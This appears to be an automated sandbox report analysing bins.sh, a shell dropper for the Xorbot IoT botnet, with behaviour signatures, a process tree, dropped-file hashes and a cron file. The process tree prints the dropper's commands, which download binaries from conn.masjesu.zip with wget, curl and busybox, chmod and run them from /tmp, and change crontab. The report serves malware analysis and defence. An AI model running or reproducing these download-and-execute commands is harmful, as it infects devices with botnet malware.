Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/01/2025, 12:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-pf13hsvkak
  • SHA256 da3717a7485116a9b7b8b6f480d2cf27c8dbdade3ed4c30392aa452a1678e4df
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (978) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:732
        • /bin/rm
          rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:734
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:775
        • /bin/chmod
          chmod 777 VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • File and Directory Permissions Modification
          PID:783
        • /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          ./VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Executes dropped EXE
          PID:784
        • /bin/rm
          rm VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
            PID:787
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:789
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:794
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:797
          • /bin/chmod
            chmod 777 baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • File and Directory Permissions Modification
            PID:798
          • /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            ./baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
            • Executes dropped EXE
            PID:799
          • /bin/rm
            rm baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
            2⤵
              PID:801
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:802
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:803
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:805
            • /bin/chmod
              chmod 777 GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • File and Directory Permissions Modification
              PID:806
            • /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              ./GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
              • Executes dropped EXE
              PID:807
            • /bin/rm
              rm GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
              2⤵
                PID:809
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:810
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:811
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:843
              • /bin/chmod
                chmod 777 69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • File and Directory Permissions Modification
                PID:844
              • /tmp/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                ./69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                • Executes dropped EXE
                PID:845
              • /bin/rm
                rm 69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                2⤵
                  PID:847
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:848
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:849
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:851
                • /bin/chmod
                  chmod 777 WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • File and Directory Permissions Modification
                  PID:852
                • /tmp/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  ./WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                  • Executes dropped EXE
                  PID:853
                • /bin/rm
                  rm WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                  2⤵
                    PID:855
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:856
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:857
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:859
                  • /bin/chmod
                    chmod 777 y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:860
                  • /tmp/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    ./y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                    • Executes dropped EXE
                    PID:861
                  • /bin/rm
                    rm y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                    2⤵
                      PID:863
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:864
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:865
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:867
                    • /bin/chmod
                      chmod 777 AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:868
                    • /tmp/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      ./AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:869
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:871
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:872
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:873
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:874
                          • /bin/rm
                            rm AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                            2⤵
                              PID:876
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                              • System Network Configuration Discovery
                              PID:959
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                              • System Network Configuration Discovery
                              PID:960
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:961
                            • /bin/chmod
                              chmod 777 PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                              • File and Directory Permissions Modification
                              PID:962
                            • /tmp/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              ./PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                              • Executes dropped EXE
                              PID:963
                            • /bin/rm
                              rm PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                              2⤵
                                PID:965
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/iIj4kUFpfCmMwHwGhhJzGEEC4Vswd0eTjQ
                                2⤵
                                • System Network Configuration Discovery
                                PID:966
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/iIj4kUFpfCmMwHwGhhJzGEEC4Vswd0eTjQ
                                2⤵
                                • System Network Configuration Discovery
                                PID:967

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU

                                  • Path /tmp/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                                  • Size 177KB
                                  • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                  • MD5 SHA1 SHA512 SSDEEP

                                  AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb

                                  • Path /tmp/AIlKkjwdnDafqaspZNMqfltE9gn3EC3Nkb
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP

                                  GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc

                                  • Path /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm

                                  • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                                  • Size 127KB
                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                  • MD5 SHA1 SHA512 SSDEEP

                                  PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN

                                  • Path /tmp/PYEvRvIzIz9u3TGxIUQWB7bZfU3hFPu5UN
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP

                                  VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH

                                  • Path /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP

                                  WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1

                                  • Path /tmp/WS6x19vU0QQ7kt3jPbsvtdNhqQcnMR9GW1
                                  • Size 141KB
                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                  • MD5 SHA1 SHA512 SSDEEP

                                  baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM

                                  • Path /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP

                                  y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF

                                  • Path /tmp/y0fdXxGn1h0AzHqhL9lDPZkkt2zX8znwUF
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.zdTBma

                                  • Path /var/spool/cron/crontabs/tmp.zdTBma
                                  • Size 210B
                                  • SHA256 1a3be4dad5d48c27a2ef3a3d518828e8b37572b87c478bc55cb45c4440ab6bad
                                  • MD5 SHA1 SHA512